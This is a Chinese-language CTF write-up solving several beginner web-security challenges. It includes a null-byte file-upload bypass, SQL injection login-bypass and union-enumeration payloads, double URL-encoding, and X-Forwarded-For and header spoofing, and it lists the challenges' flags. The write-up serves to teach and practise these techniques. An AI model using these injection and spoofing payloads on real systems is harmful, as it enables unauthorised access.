DDCTF

1.上传绕过

按题目的要求上传一个.jpg文件,但是如果想绕过上传,一定是要传入一个php文件才可以,因此可以用截断绕过的方式。

截断绕过:

<% 
path="upfiles/picture/" 
file="20121212.jpg" 
upfilename=path & file '最后的上传地址 
%> 

最终upfilename的格式为 upfiles/picture/1.php+xx.jpg 就是以图片上传的方式将php文件传入,因此这道题也可以利用这一性质。

在这两处将php文件件添加上,随后一个以.jpg文件的形式传入的php文件就被传入服务器了。

第二件事,虽然在形式上已经将php文件添加到上传列表,真正想被服务器接收需要更改hex码,

hex码是将代码转化为16进制的编码然后进行上传。

寻找方法,找到需要更改代码的那一行,然后对照字符寻找数字,例如我们想把php+添加进去,+对应的字符为00 那就找到第三个数字改为00,当时在旁听XX科技大学研究生课的时候

,这个东西有一个统一的名称叫标志位,用来寻找每一个字符对应的编码这么一个东西。改好后,response一下。

2.

解释一下这里涉及的一些函数: srttev调转函数 strrev('hsy') = 'ysh'

base64,str_rot13都是加密方式, substr('a','b','x') 在a字符串的第b个位置开始截取长度为x的字符, substr('zyghsy',4,3)=hsy ord(a) 返回a的ascii码, chr将ascii码转回字符。

虽然涉及到很多关于字符串的函数,但是在解题中不需要把这些函数都弄得太明白。

题目的意思就是给出函数的最终运行结果,逆回去推出自变量就可以,遇到这种题,自己画个流程图,往回推就好。

<?php
$str = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$_o="";
$_ = base64_decode(strrev(str_rot13($str)));
for($_0=0;$_0<strlen($_);$_0++)
{
    $_c = substr($_,$_0,1);
    $__ = ord($_c)-1;
    $_c = chr($__);
    $_o = $_o.$_c;
}
echo strrev($_o);
?>

3.程序逻辑错误

右键查看代码,贴出关键代码。

$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
    
  }

$sql="select pw from php where .... 这句话很明显存在SQL注入,

strcasemap($pass,$row[pw])的意思是判断pass和row[pw]是否相同。

因此只需要保证传入的pw和username经过MD5加密后的值相等就可以绕过。

username= 1' union select MD5(1) #  password=1 就ok了。

3.PHP

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>


<br><br>
Can you authenticate to this website?

这段代码的意思是传入的id经过URL编码需要等于hackDJ,计算出id就可以。做法是将hackDJ进行两次URL编码。

?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%34%34%25%34%61

这里的一个坑就是需要两次解码,因为在get传入的时候事实上已经经过了一次编码。

4.SQL注入

简便的方法就是放到sqlmap里跑一圈就得到了。比赛中为了节约时间还是建议用sqlmap,自己做题时候还是手动自己敲一遍语句。。

1.id=1 union select 1,2
2. id=-1 union select 1,schema_name  from information_schema.schemata limit 0,2

3.id=-1 union select 1,table_name from information_schema.tables where table_schema=0x6d795f6462 limit 0,2

4.id=-1 union select 1,column_name from information_schema.columns where table_schema=0x6d795f6462 limit 0,3

5.id=-1 union select 1,k0y from thiskey

SQLMAP:

一个在拼多多的学长和我说 他在华为赛门铁克的时候用的所有封装好的框架,开源的代码,还有工具,工作之余都会自己手动把这些直接套用的代码模板都再写一遍,当然coding能力肯定是一流的。直接总包160W跳槽到拼多多了。。很佩服。。。。。

5.代码审计

<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
    $cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
    $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
    $cip = $_SERVER["REMOTE_ADDR"];
else
    $cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>
                

这题我好像在以前做过,考的是server变量,server变量 作为HTTP中用户端和服务器连接的桥梁,包含了例如XFF , ip,这些信息。正确做法很麻烦,好像还要写py,简单做法,修改XFF。

修改成代码中要求的1.1.1.1

答案:SimCTF{daima_shengji}

6.

题目开始给出这样几个提示,意思是:没有权限访问这个页面,请确保使用.net framework 9.1 登陆,确保使用英国服务器和IE浏览器打开此网页。

很明显的套路,利用伪造各种限制

把这些信息全部按规定做修改,就出现答案了。

The key is:HTTpH34der

7.catch

题目给个提示catch,做法那应该就是抓包了。

抓包时候看row那一行多余的,开始时候没注意到,后来以为那一串东西的个加密字符才注意到的,直接把那一行字符串复制到key中就出答案了。

KEY: #WWWnsf0cus_NET#

做了一晚上,实验吧的题终于做完了。祝大家清明节假期快乐哦。

猜你喜欢

转载自www.cnblogs.com/sylover/p/10657837.html